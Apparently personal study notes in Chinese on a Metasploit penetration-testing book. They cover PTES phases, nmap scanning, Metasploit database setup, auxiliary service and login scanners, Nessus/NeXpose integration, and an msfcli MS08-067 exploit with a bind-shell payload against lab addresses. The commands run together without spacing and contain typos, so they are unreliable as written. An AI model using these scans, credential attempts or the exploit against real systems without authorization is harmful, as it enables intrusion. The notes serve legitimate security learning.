Metasploit***测试指南

David Kennedy Diehold公司首席信息安全官。SET fast-Tracl Back Track和Exploit Database社会工程学博客网站black hat defcon shmoocon security B-sidesJim o'Gorman CSc公司strickForce团队的 social-engineerorg 数字取证分析和恶意代码分析Devon Kearns offensive-security团队的一位培训讲师。back Track的开发者。揭秘教程wiki的维护者Mati Aharoni 信达雅没有web voip scada 真实的***案例：诸葛建伟***测试技术基础PTES 前期交互情报搜集阶段威助建模漏洞分析******后******报告***测试类型白盒黑盒测试漏洞扫描器Metasploit专业术语exploitpayloadshellcodemodulelistenerMetsploitMsf终端命令行Armitage用户接口功能程序MSF***载荷生成器MSF编码器nasm shellexpress pro第三章情报搜索被动whoisnetcraftNslookup主动nampMetasploit使用数据库metasploit使用端口扫描针对性扫描服务器消息协议扫描搜寻配置不当的SQL serverSSHFTPSNMP编写自己的扫描器2。2cd /opt/framework3/msf3/msfconsloehelp connect终端交互 访问所有软件的功能特性msfcli 脚本测试msfcli windows/smb/ms08_067_netapi Omsfcli windows/smb/ms08_067_netapi RHOST=192.168.1.155 Pmsfcli windows/smb/ms08_067_netapi RHOST=192.168.1.155 PAYLOAD=windows/shell/bind_tcp EStart MSFarmitage功能程序:::公开渠道情报 OSINT yeti whois能够***那些系统 边界。searchdns.netcraft.com 网站对应IP主动nmap -sS -Pn 172.16.32.131 -Pn默认都是存活状态，不先ping测试存活状态 -sS隐秘TCP-A 服务枚举和旗标获取3.2.2数据库/etc/init.d/postgresql-8.3 startdb_connect postgres:toor@127.0.0.1/msfbook第一次连接冗长的输出db_statusnmap -Pn -sS -A -oX subnet1 192.168.1.0/24db_connect postgres:toor@127.0.0.1/msfbookdm_import Subnet1.xmldb_hosts -c addressTCP空闲扫描msf use auxiliary/scanner/ip/ipidseqset RHosts 192.168.1.0/24set threads 50 run在windows平台线程不过16 ，类UNix lInux 128nmap -PN -sI 192.168.1.109 192.168.1.155db_connect postgres:toor@127.0.0.1/msfbookdb_nmap -sS -A 172.16.32.131db_servicessearch portscanuse scanner/portscan/synset Rhosts 192.168.1.155set threads 50run3.3针对性服务扫描use scanner/smb/smb_versionset rhostrunshow optionsdb_hosts -c address,os_flavor快速且安全定位高风险主机的方法use scanner/mssql/mssql_pingshow optionsset rhosts 192.168.1.0/24set threads 255runuse scanner/ssh/ssh_versionset threads 50runuse scanner/ftp/ftp_versionset threads 50runuse scanner/ftp/anonymousset threads 50run团体字符串use use scanner/snmp/snmp_loginset rhosts 192.168.1.0/24出厂的默认设置3。4ruby脚本mixin4.1漏洞扫描netcatnc 192.168.1.203 89误报和漏报NeXpose NEssus社区共享版webdb_connect postgres:toor@127.0.0.1/msfbookdb_import /tmp/host_195.xmldb_vulnsdb_destory删除现有的数据库db_connect 新的load nexposenexpose_connect -hnexpost_connect dookie:s3cr3t@192.168.1.206 oknexpose_scan 192.168.1.195db-host -c addressnessus http://localhost:8834load nessusnessus_connect dookie:s3cr3t@192.168.1.206:8834 oknessus_policy_listnessus_scan_nownessus_scan_new 2 bridge_scan 192.168.1.195nessus_report_listnessus_report_get 报告IDuse auxiliary/scanner/smb/smb_loginshow optionsset rhosts 192.168.1.150-155set SMBUser Administratorset SMBPass s3cr3tuse auxiliary/scanner/vnc/nvc_none_authset Rhosts 192.168.1.155runvncvieweruseauxiliary/scanner/x11/open_x11cd /pentest/snfifers/sxpy./xspy -display 192.168.1.23:0 -delay 100Autopwn自动选择